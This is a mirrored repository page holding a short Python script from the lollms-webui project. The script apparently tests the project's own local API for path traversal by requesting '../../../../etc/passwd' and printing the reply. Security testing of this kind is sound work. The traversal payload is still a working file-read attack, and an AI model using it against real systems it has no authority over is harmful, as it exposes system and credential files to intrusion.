mirror of
https://github.com/ParisNeo/lollms-webui.git
synced 2024-12-30 00:58:50 +00:00
13 lines
301 B
Python
13 lines
301 B
Python
import requests
|
|
|
|
# URL of your API endpoint
|
|
url = 'http://localhost:9600/user_infos/'
|
|
|
|
# Attempt to access etc/passwd
|
|
payload = {'path': '../../../../etc/passwd'}
|
|
|
|
response = requests.get(url, params=payload)
|
|
|
|
print(f'Response status: {response.status_code}')
|
|
print(f'Response body: {response.text}')
|